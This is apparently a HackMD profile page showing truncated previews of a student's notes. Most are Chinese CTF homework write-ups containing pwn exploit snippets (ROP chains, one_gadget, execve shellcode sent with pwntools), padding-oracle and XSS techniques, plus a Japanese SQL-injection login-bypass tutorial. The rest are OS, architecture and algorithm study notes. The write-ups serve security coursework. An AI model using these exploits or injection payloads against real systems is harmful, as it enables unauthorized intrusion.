a5180352

@a5180352

Joined on Dec 20, 2017

  • ###### tags: `程安` `CTF` # CS 2019 Fall & AIS3 EOF 2019 - by ZR ### Pwn - Impossible * 就 `abs(0x80000000)` overflow ```python= pwn.sendlineafter("Size: ", str(0x80000000)) payload = flat( "A" * (0x100 + 8), pop_rdi, puts_got, puts_plt, main ) pwn.sendafter("It's safe now :)\n", payload) # get libc base address here ... pwn.sendlineafter("Size: ", str(0x80000000)) payload = flat( "A" * (0x100 + 8), pop_r12_r13_r14_r15, 0, 0, 0, 0, one_gadget_offset + libc.address ) pw
     Like  Bookmark
  • ###### tags: `程安` # CS 2019 Fall - Homework 0x08 ### [0x08] EDU 2019 election * 先 checksec : 不意外的全開 * 關鍵點 * ![](https://i.imgur.com/PTe5gWI.png) * 位置︰`main()` * 可以利用這邊來猜出 canary 和`__libc_csu_init`的 address * 避免`__stack_chk_fail`和推算出 PIE base address * 同時`buf`位於 data segment,可以作為之後要 stack migration 的地方 * ![](https://i.imgur.com/MTAiW9e.png) * 位置︰`voting()` * `candidates.votes`為`uint8_t`,最大值為 255 * 在`votes = 255`時,覆蓋`old rbp`和`r
     Like  Bookmark
  • ###### tags: `程安` # CS 2019 Fall - Homework 0x09 ### [0x09] Cathub Party * 一樣的 Cathub,但多了一個`★Join Party`可以按 ![](https://i.imgur.com/ik5KVlb.png) * 隨便註冊一個帳號之後 ![](https://i.imgur.com/vfMgEv1.png) * 原來藏在 cookie 裡 ![](https://i.imgur.com/caqar8H.png) * 如果我們把 cipher 亂改 ![](https://i.imgur.com/IPByOD8.png) * 看來是被 base64 過的 cipher,然後上課的時候已經說過他是 padding oracle 了。這邊使用網路上找到的工具,可以高速解 padding oracle <3 :::info Tool : [padding_oracle.py (multi-thread)](https://github.com/djosix/padding_oracle.
     Like  Bookmark
  • ###### tags: `程安` # CS 2019 Fall - Homework 0x03 ### [0x03] Unexploitable 網頁本身似乎沒有任何可以打的地方 那我們只好用上課提到的`dirsearch`掃掃看這個網域 ![](https://i.imgur.com/0PeHgaz.png) 一個一個去試會發現大家都是顯示`nice try!`而已 只有其中一個是 ![](https://i.imgur.com/Egq9YQM.png) `Bucharesti`應該是一個 github id,那我們就去 github 找找 ![](https://i.imgur.com/vLyPE5S.png) 檔案太多了 直接去 commit 翻翻看 ![](https://i.imgur.com/Wbr35n3.png) 🤔 ![](https://i.imgur.com/ZKKlnQx.png) ### [0x03] Safe R/W 一樣先掃掃看 ![](https://i.imgur.com/RUwdNQP.png) 有一個設定檔`phpi
     Like  Bookmark
  • ###### tags: `程安` # CS 2019 Fall - Homework 0x02 ### [0x02] IDAmudamudamuda 一樣 IDA 起手式 ```cpp= int __cdecl main(int argc, const char **argv, const char **envp) { int input_seed; // [esp+0h] [ebp-2Ch] char input_flag; // [esp+4h] [ebp-28h] sub_D71000(); puts("Oh, it's another ez Reversing Challenge"); puts("Leverage all you learned in class to solve this one"); puts("2 step to get the flag: \n\n\n"); puts("First, give me the seed: "); scanf("%d", &input_seed); sub_D71070(inpu
     Like  Bookmark
  • ###### tags: `程安` # CS 2019 Fall - Homework 0x01 ### [0x01] Back to the Future 用 IDA Pro (32bit) 打開,找到`main`後直接 decompile,並修飾一下 ```cpp= int __cdecl main(int argc, const char **argv, const char **envp) { const char *v3; // eax struct _PEB *pebCurrent; // [esp+18h] [ebp-20h] _DWORD *v6; // [esp+1Ch] [ebp-1Ch] HMODULE v7; // [esp+20h] [ebp-18h] int k; // [esp+24h] [ebp-14h] int j; // [esp+28h] [ebp-10h] size_t i; // [esp+2Ch] [ebp-Ch] sub_4019E0(); v7 = GetModuleHandleA(0);
     Like  Bookmark
  • ###### tags: `程安` # CS 2019 Fall - Homework 0x07 ### [0x07] Casino++ * 先 checksec ``` NX : ENABLED --> 與Casino只差在這 ``` * 主要流程 ![](https://i.imgur.com/AEp2ZNd.png) * 詳細步驟 1. 將`puts@got`竄改成`casino()` * 因為`name`所在的區域以無法被執行,竄改`puts@got`成為這次唯一的突破口。 * 同時我們想保留這個跨界竄改的能力,於是我們將`puts@got`改成`casino()`。也就是說只要我們能猜對`lottery`觸發`puts`,就等於再 call 一次`casino()`,再獲得一次跨界竄改的機會。即上面那個流程圖的樣子。 * 有了這個無限竄改的能力,我們就能以同樣在`casino()`中會被呼叫的`srand()`當作目標進行 got hijacking,最終目標是 hijack 成`system`或
     Like  Bookmark
  • ###### tags: `程安` # CS 2019 Fall - Homework 0x05 ### [0x05] Casino 先 checksec ``` CANARY : ENABLED FORTIFY : ENABLED NX : disabled PIE : disabled RELRO : Partial --> GOT可寫 ``` 然後去找到可以 overflow 的點 ```cpp= char name[0x10] = {0}; read( 0 , name , 0x100 ); <-- 可寫長度超出name的範圍 int guess[6] = {0}; int idx = read_int() - 1; guess[idx] = read_int(); <-- idx可超出guess的範圍 ``` 這題的主要流程 & 一些小細節︰(GOT hijack) 1. 把 shellcode 寫到 name 上 * 把`name`寫到 overflow 可以蓋過`seed`和`age` * 數值產
     Like  Bookmark
  • ###### tags: `程安` # CS 2019 Fall - Homework 0x04 ### [0x04] how2xss `hackme.php`那個頁面的 input 只允許一個字元出現一次,實在是太雞巴 所有成對的 html tag 都不能用,連最基本的`alert(1)`都做不到= = 於是決定使用找上網找 writeup 大法 然後用`xss` `writeup` `character` `once` `one time` 等等的關鍵字去 google,就找到了 :::warning * [Security Fest 2019 CTF, entropian [web] write-up]( https://medium.com/@renwa/security-fest-2019-ctf-entropian-web-write-up-f81fb11f675b ::: 才發現原來 * 大小寫視為不同字元,估計是用`ascii()`去篩的 * 還有 html entity `&#xx` 和 ES6 unicode `\u{xx}` 可以去抽換字元 * 利用`wi
     Like  Bookmark
  • ###### tags: `程安` # CS 2019 Fall - Homework 0x00 ### [0x00] shellc0de ```python= from pwn import * context.arch = 'amd64' host, port = "edu-ctf.csie.org", 10150 p = remote(host, port) # shellcode for linux x86_64 # source - http://shell-storm.org/shellcode/files/shellcode-806.php shellcode = """ xor eax, eax mov rbx, 0xFF978CD091969DD1 neg rbx push rbx push rsp pop rdi cdq push rdx push rdi push rsp pop rsi mov al, 0x3b /* rewrite syscall (\x0f\x05) */ mov bx, 0x040e add bx, 0x0101 push bx
     Like  Bookmark
  • ###### tags: `軟工` # SEP_Final Project (preserve) :::danger --- Red block means **Assertion** --- ::: ## TestCase 1 - Open Blog Page - `git pull` - pull newest version from github - `php artisan serve` - open port 8000 - open chrome - new tabe - type URL `localhost:8000` :::danger **Open blog home page successfully** - ![](https://i.imgur.com/sXsfxKG.png) ::: ## TestCase 2 - Tester Login - click **LOGIN** btn in index - type username & password - click **Login** btn as *Tester
     Like  Bookmark
  • ###### tags: `OS` # 1062 - Operating System ![](https://upload.wikimedia.org/wikipedia/commons/5/50/Unix_history-simple.png) ## Ch01 - Introduction - Computer system can be divided into four components: - **Hardware** (ex: CPU, memory, I/O devices) - **Operating system** - Controls and coordinates use of hardware among various applications and users - **Application programs** - **Users** (ex: people, machines, other computers) - ![](https://i.imgur.com/bNGkNxk.png)
     Like  Bookmark
  • ###### tags: `SQLI` `日文` # SQL injection ## 仕組み 一般的にログイン画面のSQL文は ```sql= SELECT * FROM users WHERE id='XXX' AND password='YYY' ``` (`'`を`"`に置換する場合もあります) XXXとYYYは入力しユーザー名とパスワード。 XXXとYYYはDBの中の資料に合ったら、ログイン成功です。 もしユーザー名のところに`" OR 1=1 #`を入力したら、 こうになる: ```sql= SELECT * FROM users WHERE id='' OR 1=1 #' AND password='YYY' ``` `id='' OR 1=1`の部分は`1=1`があるので、ずっと真になる。 そして`#`の後ろの部分は全部コメントにして無視される。 (`#`を`--`に置換する場合もあります) この場合もログインできます。そして使っているユーザー名はDBのテーブル一番のユーザー名かもしれない。 ## SQL injectionを使って、DB内の資料を引き出す ``
     Like  Bookmark
  • ###### tags: `演算法` # 演算法 期末整理 (done) ## 1. (DP)多階圖最小成本路徑 ==似乎不考(?)== ![](https://i.imgur.com/P33raTt.png) `Input:` $具n個頂點的k階多階圖G(V,E), 其中V=⋃_{i=1..k} P_i, P_i \cap P_j = \varnothing for \ i \neq j, \\ P_1 = \{s\}, P_k = \{t\}, <x,y> \in E \rightarrow (x \in P_i \wedge y \in P_{i+1}), <x,y>的權重為w[x,y]$ `Output:`$path[1..k], d[s], 其中path[1..k]紀錄第1階(節點1)到第k階(節點n)的最小成本路徑, \\ d[s]紀錄最小成本路徑總成本$ ```cpp= d[t] = 0; d[x] = INF, for x != t; // 陣列d[x]儲存節點x到節點t的最小距離 for i = k-1 to 1 do // 由第k-1階到第1階 fo
     Like 3 Bookmark
  • ###### tags: `計結` # 1062 - Computer Architecture - 4~8_page20 ## (4) Advanced Pipelining and ILP ### Review : Summary of pipelining Basics * **Hazards** limit performance * Structural: need more hardware * Data: need forwarding, compiler rescheduling * Control: early evaluation PC, delayed branch, prediction * Increasing length of pipeline increases impact of hazards * Pipelining helps instruction **bandwidth**, **not latency** * Interrupts, Floating Point Instructions make pipeli
     Like 1 Bookmark
  • ###### tags: `計結` # 1062 - Computer Architecture - 8~10 ## (8) Multiprocessors ### Why Multiprocessors? * A growth in data-intensive applications * A growing interest in server markets * Complexity of current microprocessors * Collecting several much easier than redesigning one * Steady improvement in parallel software (scientific apps, databases, OS) * Long term goal of the field: * Scale number processors to size of budget, desired performance ### Categories ```= S = Single M = Multipl
     Like 1 Bookmark
  • ###### tags: `OS` # 1062 - Operating System 期中考複習 ## 1. Please explain following terms #### a. Multiprogramming * 為了使得**多個程式可以同時執行而發展的技術**,他可以**使得CPU一直處於忙碌的狀態**,而不會等待程式進行週邊的運作,進而**提升電腦系統的整體效率**。 #### b. Bootstrap program * 負責把OS核心載入記憶體,並且執行核心程式。 #### c. DMA * Direct Memory Access * 他允許某些電腦內部的硬體子系統,可以獨立地直接讀寫系統記憶體,而不須CPU介入處理。 ## 2. Please describe interrupt and trap. * Trap * An exception in a user program. It's caused by division by zero, invalid memory access, etc. * Interrupt * Gene
     Like  Bookmark
  • ###### tags: `OS` # 1062 - Operating System 期末考整理 ### Critical section (==以下皆簡稱cs==) * 對於共享資源之存取進行管制,當process Pi進入cs時,其他process就不能進入,必須等待。 ### Memory Manage Unit (MMU) * 將虛擬記憶體位置對應到實體記憶體位置的**硬體**裝置。 ### Page Fault * 透過page table,把logical addr轉成physical addr時,若page table中目標page為**invalid**,則會對OS發出**trap**,需要從backing store更新page。 ### Race Condition * 如果電腦中兩個執行程序試圖**修改共享記憶體資源**,在**沒有並行控制**的情況下,最後結果會因為程序的順序、時機而有機會不同(由OS而定)。 ### Solve Race Condition * Disable interrupt * process在存取共享變數前,**先
     Like  Bookmark
  • ###### tags: `計結` # 1062 - Computer Architecture - 1~3 ## (1) Fundamentals Of Computer Design ### Fundamentals of Computer Design * Reduced Instruction Set Computer (RISC) * in early 1980s * Focused the attention of designers on * Instruction Level Parallelism * The Use of Caches * Features * far fewer Transistors * Uniform Instruction Format * identical General Purpose Registers * simple Addressing Modes * Multiple processor per chi
     Like  Bookmark
  • ###### tags: `攻防` # 2018.01 NCU_CTF - project 2: web * 組名:hao123 * 組員: * 104502011 張晉豪 * 104502035 余長縣 * 104502036 林柏韜 * 104502037 張哲魁 * 104502557 趙彬智 ## 1~4. BabyFirst 1~4 1. BabyFirst 1 > 看source code <!-- AD{I_l00k_thr0u9h_50urc3c0de_n0d0ut} --> 2. BabyFirst 2 > 在 cookie 裡面,然後把 unicode 改回正常的字元 > [Unicode table](http://www.degraeve.com/reference/urlencoding.php) <!-- AD{c00k1e_i5_s00000000_yummy_15nt_1t?} --> 3. BabyFirst 3 > 在 header 裡 <!-- AD{Y0u_F1nd_5ometh1n9_1n_h34d3r
     Like  Bookmark